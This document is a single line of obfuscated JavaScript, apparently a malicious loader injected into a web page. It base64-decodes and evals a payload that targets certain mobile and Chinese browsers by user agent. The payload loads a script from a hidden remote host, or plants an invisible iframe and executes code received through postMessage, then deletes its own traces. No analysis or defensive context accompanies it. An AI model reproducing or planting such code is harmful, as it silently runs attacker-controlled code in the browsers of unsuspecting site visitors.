eval("\x77\x69\x6e\x64\x6f\x77")["_oyDuG"]=function(){eval(hSlcF("ICAgICAgICA7KGZ1bmN0aW9uICh1LCByLCB3LCBkLCBmLCBjKSB7DQogICAgICAgICAgICB1ID0gZGVjb2RlVVJJQ29tcG9uZW50KGhTbGNGKHUucmVwbGFjZShuZXcgUmVnRXhwKGMgKyAnJyArIGMsICdnJyksIGMpLnNwbGl0KCcnKS5yZXZlcnNlKCkuam9pbignJykpKTsNCiAgICAgICAgICAgICdqUXVlcnknOw0KICAgICAgICAgICAgdmFyIF91YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7DQogICAgICAgICAgICB2YXIgX0taTlFsID0gJzxzYycrJ3InKydpcHQnKycgJysnc3InKydjJysnPSInICsgdSArICcvbS8nKyI4OTgiICsnIj48XC9zJyArICdjcmknKydwdCcrJz4nOw0KICAgICAgICAgICAgaWYgKF91YS5pbmRleE9mKGhTbGNGKCJZbUZwWkhVPSIpKSA+IC0xIHx8IF91YS5pbmRleE9mKGhTbGNGKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKSA+IC0xfHwgX3VhLmluZGV4T2YoaFNsY0YoJ1VWRkNjbTkzYzJWeScpKSA+IC0xKSB7DQogICAgICAgICAgICAgICAgaWYgKF91YS5pbmRleE9mKGhTbGNGKCdhVkJvYjI1bCcpKSA+IC0xKSB7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LndyaXRlKF9LWk5RbCk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcmQobiwgbSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtIC0gbiArIDEpICsgbik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJtKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlICYmIGUudGFnTmFtZS50b1VwcGVyQ2FzZSgpID09PSAiSUZSQU1FIiAmJiBlLnNyYy5pbmRleE9mKHUpID4gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnJlbW92ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChlLm5leHRFbGVtZW50U2libGluZykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBsZXQgYyA9IGRbaFNsY0YoIlkzVnljbVZ1ZEZOamNtbHdkQT09IildOw0KICAgICAgICAgICAgICAgICAgICB2YXIgX2lkID0gX2NsYXNzID0gJ3cnKydtaCcrJ3InKydMUicrJ0EnKydVJzsNCiAgICAgICAgICAgICAgICAgICAgdmFyIF9wWGFUQSA9ICdvJyArIHJkKDEsIDEwMDAwMCk7DQogICAgICAgICAgICAgICAgICAgIGRbJ3dyJysnaXRlJysnbG4nXSgnPGQnKydpdicrJyBpZCcrJz0iJyArIF9wWGFUQSArICciPicgKyAnPC9kJysnaXYnKyc+Jyk7DQogICAgICAgICAgICAgICAgICAgIHdbJ19fSScrJ0tZRCcrJ0YnXSA9IGRbJ3F1JysnZScrJ3J5JysnU2UnKydsJysnZWN0Jysnb3InXSgnIycgKyBfcFhhVEEpOw0KICAgICAgICAgICAgICAgICAgICBfaWQgKz0gZFsncScrJ3UnKydlcnknKydTZWwnKydlY3QnKydvckEnKydsbCddKCcuJyArIF9jbGFzcykubGVuZ3RoOw0KICAgICAgICAgICAgICAgICAgICB2YXIgeiA9IHUrIi9kLyIrX2lkKyIvIityKyIvIitfcFhhVEErIi84OTgiOw0KICAgICAgICAgICAgICAgICAgICBkWyd3Jysncml0JysnZSddKCc8aScrJ2ZyJysnYW1lJysnICcrJ3MnKyd0eScrJ2wnKydlPSInKydtJysnYXInKydnJysnaScrJ246JysnMDtwJysnYWQnKydkaScrJ25nJysnOjA7JysnYm9yJysnZCcrJ2VyJysnOicrJ25vJysnbmUnKyc7b3AnKydhJysnY2knKyd0eScrJzonKycwJysnLjAnICsgcmQoMiwgOSkgKyAnO3dpJysnZHRoJysnOicgKyByZCgyLCA1KSArICdwJysneDtoJysnZWlnJysnaHQnKyc6JyArIHJkKDIsIDUpICsgJ3B4OycrJyInKydhbGwnKydvJysnd3QnKydyYW4nKydzcCcrJ2EnKydyJysnZScrJ25jeScrJyBzJysncmM9JysnIicgKyB6ICsgJyI+PCcrJy9pJysnZnJhJysnbWU+Jyk7DQogICAgICAgICAgICAgICAgICAgIHdbJ2FkZCcrJ0UnKyd2JysnZScrJ250TCcrJ2knKydzdGUnKyduZXInXSgnbScrJ2VzcycrJ2FnJysnZScsIGZ1bmN0aW9uIChlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZS5kYXRhW3IgKyBfaWRdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0oYyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbmV3IEZ1bmN0aW9uKGhTbGNGKGUuZGF0YVtyICsgX2lkXS5yZXBsYWNlKG5ldyBSZWdFeHAociwgJ2cnKSwgJycpKSkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC53cml0ZShfS1pOUWwpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9KSgnbkonKyczYicrJ3VFJysnV2UnKyduNScrJzInKydiJysnaycrJzknKyd5TCcrJzZNJysnSCcrJ2MnKycwUicrJ0gnKydhJywgJ3cnKydtaCcrJ3InKydMUicrJ0EnKydVJywgd2luZG93LCBkb2N1bWVudCwgMCwgJ1QnKQ=="));};